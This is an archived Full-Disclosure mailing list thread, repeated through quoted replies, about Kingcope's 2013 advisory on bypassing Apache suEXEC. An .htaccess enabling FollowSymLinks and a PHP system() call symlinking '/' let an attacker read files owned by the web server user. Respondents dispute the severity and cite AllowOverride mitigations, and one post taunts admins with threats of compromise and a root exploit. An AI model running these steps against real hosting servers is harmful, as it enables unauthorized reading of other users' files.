Who are you talking to? You keep deleting everyone else's quotes except your own so we have no idea, please stop selective quoting if you want to be taken with any grain of seriousness and expect a response. If you're not doing it deliberately, then your client seems to be breaking things :) if its in relation to my statement? This is not a vulnerability, if you disagree with that, by all means visit http://httpd.apache.org/bug_report.html Cheers On Fri, 2013-08-09 at 16:33 +0700, Kingcope wrote: > So the blackhat that Sits on ur Site and the site of ur company Since half a > year will stop at the point Where its "technically incorrect" and wont > escalate to root because "it doesnt have to do Anything with suexec". Its an > Old vuln so let it stay , better for us and soon our Data on your boxes. > > Time to Write a Real Root exploit and dont waste the Time with sysadmins that > know how to set a flag in httpd.conf , apache devs included. > <> signature.asc Description: This is a digitally signed message part ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
So the blackhat that Sits on ur Site and the site of ur company Since half a
year will stop at the point Where its "technically incorrect" and wont
escalate to root because "it doesnt have to do Anything with suexec". Its an
Old vuln so let it stay , better for us and soon our Data on your boxes.
Time to Write a Real Root exploit and dont waste the Time with sysadmins that
know how to set a flag in httpd.conf , apache devs included.
Am 09.08.2013 um 14:29 schrieb Kingcope
:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim
> its a High severity Bug but if you Tell People to ignore it Because it isnt a
> vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
> :
>
>> Apache suEXEC privilege elevation / information disclosure
>>
>> Discovered by Kingcope/Aug 2013
>>
>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>> programs
>> under user IDs different from the user ID of the calling web server.
>> Normally,
>> when a CGI or SSI program executes, it runs as the same user who is running
>> the
>> web server.
>> Used properly, this feature can reduce considerably the security risks
>> involved
>> with allowing users to develop and run private CGI or SSI programs.
>>
>> With this bug an attacker who is able to run php or cgi code inside a web
>> hosting environment and the environment is configured to use suEXEC as a
>> protection mechanism, he/she is able to read any file and directory on the
>> file-
>> system of the UNIX/Linux system with the user and group id of the
>> apache web server.
>>
>> Normally php and cgi scripts are not allowed to read files with the apache
>> user-
>> id inside a suEXEC configured environment.
>>
>> Take for example this apache owned file and the php script that follows.
>>
>> $ ls -la /etc/testapache
>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>> only user www-data should be able to read this file.
>>
>> $ cat test.php
>> > system("id; cat /etc/testapache");
>> ?>
>>
>> When calling the php file using a webbrowser it will show...
>> uid=1002(example) gid=1002(example) groups=1002(example)
>>
>> because the php script is run trough suEXEC.
>> The script will not output the file requested because of a permissions error.
>>
>> Now if we create a .htaccess file with the content...
>> Options Indexes FollowSymLinks
>>
>> and a php script with the content...
>>
>> > system("ln -sf / test99.php");
>> symlink("/", "test99.php"); // try builtin function in case when
>> //system() is blocked
>> ?>
>> in the same folder
>>
>> ..we can access the root filesystem with the apache uid,gid by
>> requesting test99.php.
>> The above php script will simply create a symbolic link to '/'.
>>
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
>>
>> The reason we can now read out any files and traverse directories owned by
>> the
>> apache user is because apache httpd displays symlinks and directory listings
>> without querying suEXEC.
>> It is not possible to write to files in this case.
>>
>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>
>> apache2 -V
>> Server version: Apache/2.2.22 (Debian)
>> Server built: Mar 4 2013 21:32:32
>> Server's Module Magic Number: 20051115:30
>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>> Architecture: 32-bit
>> Server MPM: Worker
>> threaded: yes (fixed thread count)
>> forked: yes (variable process count)
>> Server compiled with
>> -D APACHE_MPM_DIR="server/mpm/worker"
>> -D APR_HAS_SENDFILE
>> -D APR_HAS_MMAP
>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>> -D APR_USE_SYSVSEM_SERIALIZE
>> -D APR_USE_PTHREAD_SERIALIZE
>> -D APR_HAS_OTHER_CHILD
>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>> -D DYNAMIC_MODULE_LIMIT=128
>> -D HTTPD_ROOT="/etc/apache2"
>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>> -D DEFAULT_ERRORLOG="logs/error_log"
>> -D AP_TYPES_CONFIG_FILE="mime.types"
>> -D SERVER_CONFIG_FILE="apache2.conf"
>>
>> Cheers,
>> /Kingcope
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
suEXEC changes the ID for _executable_ content only.
This is not executable content, it's content owned and readable by
www-data that is symlinked into a web-accessible directory..
As for symlinks, others have covered the AllowOveride function so I wont
repeat it.
On Fri, 2013-08-09 at 14:29 +0700, Kingcope wrote:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim
> its a High severity Bug but if you Tell People to ignore it Because it isnt a
> vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
> :
>
> > Apache suEXEC privilege elevation / information disclosure
> >
> > Discovered by Kingcope/Aug 2013
> >
> > The suEXEC feature provides Apache users the ability to run CGI and SSI
> > programs
> > under user IDs different from the user ID of the calling web server.
> > Normally,
> > when a CGI or SSI program executes, it runs as the same user who is running
> > the
> > web server.
> > Used properly, this feature can reduce considerably the security risks
> > involved
> > with allowing users to develop and run private CGI or SSI programs.
> >
> > With this bug an attacker who is able to run php or cgi code inside a web
> > hosting environment and the environment is configured to use suEXEC as a
> > protection mechanism, he/she is able to read any file and directory on the
> > file-
> > system of the UNIX/Linux system with the user and group id of the
> > apache web server.
> >
> > Normally php and cgi scripts are not allowed to read files with the apache
> > user-
> > id inside a suEXEC configured environment.
> >
> > Take for example this apache owned file and the php script that follows.
> >
> > $ ls -la /etc/testapache
> > -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> > only user www-data should be able to read this file.
> >
> > $ cat test.php
> > >system("id; cat /etc/testapache");
> > ?>
> >
> > When calling the php file using a webbrowser it will show...
> > uid=1002(example) gid=1002(example) groups=1002(example)
> >
> > because the php script is run trough suEXEC.
> > The script will not output the file requested because of a permissions
> > error.
> >
> > Now if we create a .htaccess file with the content...
> > Options Indexes FollowSymLinks
> >
> > and a php script with the content...
> >
> > >system("ln -sf / test99.php");
> >symlink("/", "test99.php"); // try builtin function in case when
> >//system() is blocked
> > ?>
> > in the same folder
> >
> > ..we can access the root filesystem with the apache uid,gid by
> > requesting test99.php.
> > The above php script will simply create a symbolic link to '/'.
> >
> > A request to test99.php/etc/testapache done with a web browser shows..
> > voila! read with the apache uid/gid
> >
> > The reason we can now read out any files and traverse directories owned by
> > the
> > apache user is because apache httpd displays symlinks and directory listings
> > without querying suEXEC.
> > It is not possible to write to files in this case.
> >
> > Version notes. Assumed is that all Apache versions are affected by this bug.
> >
> > apache2 -V
> > Server version: Apache/2.2.22 (Debian)
> > Server built: Mar 4 2013 21:32:32
> > Server's Module Magic Number: 20051115:30
> > Server loaded: APR 1.4.6, APR-Util 1.4.1
> > Compiled using: APR 1.4.6, APR-Util 1.4.1
> > Architecture: 32-bit
> > Server MPM: Worker
> > threaded: yes (fixed thread count)
> >forked: yes (variable process count)
> > Server compiled with
> > -D APACHE_MPM_DIR="server/mpm/worker"
> > -D APR_HAS_SENDFILE
> > -D APR_HAS_MMAP
> > -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> > -D APR_USE_SYSVSEM_SERIALIZE
> > -D APR_USE_PTHREAD_SERIALIZE
> > -D APR_HAS_OTHER_CHILD
> > -D AP_HAVE_RELIABLE_PIPED_LOGS
> > -D DYNAMIC_MODULE_LIMIT=128
> > -D HTTPD_ROOT="/etc/apache2"
> > -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> > -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> > -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> > -D DEFAULT_ERRORLOG="logs/error_log"
> > -D AP_TYPES_CONFIG_FILE="mime.types"
> > -D SERVER_CONFIG_FILE="apache2.conf"
> >
> > Cheers,
> > /Kingcope
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
signature.asc
Description: This is a digitally signed message part
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
So what your Emails Tell me is better ignore this vulnerability. I dont Claim
its a High severity Bug but if you Tell People to ignore it Because it isnt a
vulnerability you are very much aiding the Chaos of insecurity in the Internet
today. You Maybe have a Secure Setting but theres only you on the Planet.
Attackers Look specifically for such Bugs to Open Servers. No Wonder we have
compromises in a High Scale every Day due to this ignorance. My rant on that
One.
Am 07.08.2013 um 21:49 schrieb king cope
:
> Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI
> programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running
> the
> web server.
> Used properly, this feature can reduce considerably the security risks
> involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the
> file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache
> user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
> system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
> system("ln -sf / test99.php");
>symlink("/", "test99.php"); // try builtin function in case when
>//system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built: Mar 4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded: APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture: 32-bit
> Server MPM: Worker
> threaded: yes (fixed thread count)
>forked: yes (variable process count)
> Server compiled with
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_LOGS
> -D DYNAMIC_MODULE_LIMIT=128
> -D HTTPD_ROOT="/etc/apache2"
> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> -D DEFAULT_ERRORLOG="logs/error_log"
> -D AP_TYPES_CONFIG_FILE="mime.types"
> -D SERVER_CONFIG_FILE="apache2.conf"
>
> Cheers,
> /Kingcope
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
hi KingCope the one of security features in hosting servers is : dont allow to .htaccess override from users for doing this features in httpd.conf you can use *AllowOverride None* instead of *AllowOverride all* with this feature you can not use this bug. tnx On Wed, Aug 7, 2013 at 8:38 PM, king cope < [email protected]> wrote: > hi... > I posted the advisory to make administratos aware that it will be > still possible to read files with the apache uid even when suEXEC is > in place. > suEXEC is installed on many hosting providers. I read the cpanel site > describing the patches [1], tough standart apache httpd does not have > these patches installed. > SymLinksIfOwnerMatch will not help in this attack scenario because the > .htaccess file overwrites this Options directive. > If a hacker sees an apache installation using suEXEC from an attackers > perspective it does not matter where the bug resides, either in Apache > or in suEXEC. He just wants to circumvent the suEXEC protection so he > can go the way described in the text I posted. This will aid him to > escalate privileges further. > > > http://docs.cpanel.net/twiki/bin/vief/EasyApache/Apache/SymlinkPatch#Frequently%20Asked%20Questions > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
On 2013-08-07, at 09:08, king cope wrote: > SymLinksIfOwnerMatch will not help in this attack scenario because the > .htaccess file overwrites this Options directive AllowOverride can be used to prevent this as well by specifying a set of values for Options which does not include FollowSymlinks, e.g. AllowOverride AuthConfig FileInfo Indexes Limit Options=ExecCGI,Includes,Indexes,MultiViews,SymlinksIfOwnerMatch ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
hi... I posted the advisory to make administratos aware that it will be still possible to read files with the apache uid even when suEXEC is in place. suEXEC is installed on many hosting providers. I read the cpanel site describing the patches [1], tough standart apache httpd does not have these patches installed. SymLinksIfOwnerMatch will not help in this attack scenario because the .htaccess file overwrites this Options directive. If a hacker sees an apache installation using suEXEC from an attackers perspective it does not matter where the bug resides, either in Apache or in suEXEC. He just wants to circumvent the suEXEC protection so he can go the way described in the text I posted. This will aid him to escalate privileges further. http://docs.cpanel.net/twiki/bin/vief/EasyApache/Apache/SymlinkPatch#Frequently%20Asked%20Questions ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Apache suEXEC privilege elevation / information disclosure Discovered by Kingcope/Aug 2013 The suEXEC feature provides Apache users the ability to run CGI and SSI programs under user IDs different from the user ID of the calling web server. Normally, when a CGI or SSI program executes, it runs as the same user who is running the web server. Used properly, this feature can reduce considerably the security risks involved with allowing users to develop and run private CGI or SSI programs. With this bug an attacker who is able to run php or cgi code inside a web hosting environment and the environment is configured to use suEXEC as a protection mechanism, he/she is able to read any file and directory on the file- system of the UNIX/Linux system with the user and group id of the apache web server. Normally php and cgi scripts are not allowed to read files with the apache user- id inside a suEXEC configured environment. Take for example this apache owned file and the php script that follows. $ ls -la /etc/testapache -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache only user www-data should be able to read this file. $ cat test.php When calling the php file using a webbrowser it will show... uid=1002(example) gid=1002(example) groups=1002(example) because the php script is run trough suEXEC. The script will not output the file requested because of a permissions error. Now if we create a .htaccess file with the content... Options Indexes FollowSymLinks and a php script with the content... in the same folder ..we can access the root filesystem with the apache uid,gid by requesting test99.php. The above php script will simply create a symbolic link to '/'. A request to test99.php/etc/testapache done with a web browser shows.. voila! read with the apache uid/gid The reason we can now read out any files and traverse directories owned by the apache user is because apache httpd displays symlinks and directory listings without querying suEXEC. It is not possible to write to files in this case. Version notes. Assumed is that all Apache versions are affected by this bug. apache2 -V Server version: Apache/2.2.22 (Debian) Server built: Mar 4 2013 21:32:32 Server's Module Magic Number: 20051115:30 Server loaded: APR 1.4.6, APR-Util 1.4.1 Compiled using: APR 1.4.6, APR-Util 1.4.1 Architecture: 32-bit Server MPM: Worker threaded: yes (fixed thread count) forked: yes (variable process count) Server compiled with -D APACHE_MPM_DIR="server/mpm/worker" -D APR_HAS_SENDFILE -D APR_HAS_MMAP -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) -D APR_USE_SYSVSEM_SERIALIZE -D APR_USE_PTHREAD_SERIALIZE -D APR_HAS_OTHER_CHILD -D AP_HAVE_RELIABLE_PIPED_LOGS -D DYNAMIC_MODULE_LIMIT=128 -D HTTPD_ROOT="/etc/apache2" -D SUEXEC_BIN="/usr/lib/apache2/suexec" -D DEFAULT_PIDLOG="/var/run/apache2.pid" -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" -D DEFAULT_ERRORLOG="logs/error_log" -D AP_TYPES_CONFIG_FILE="mime.types" -D SERVER_CONFIG_FILE="apache2.conf" Cheers, /Kingcope ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
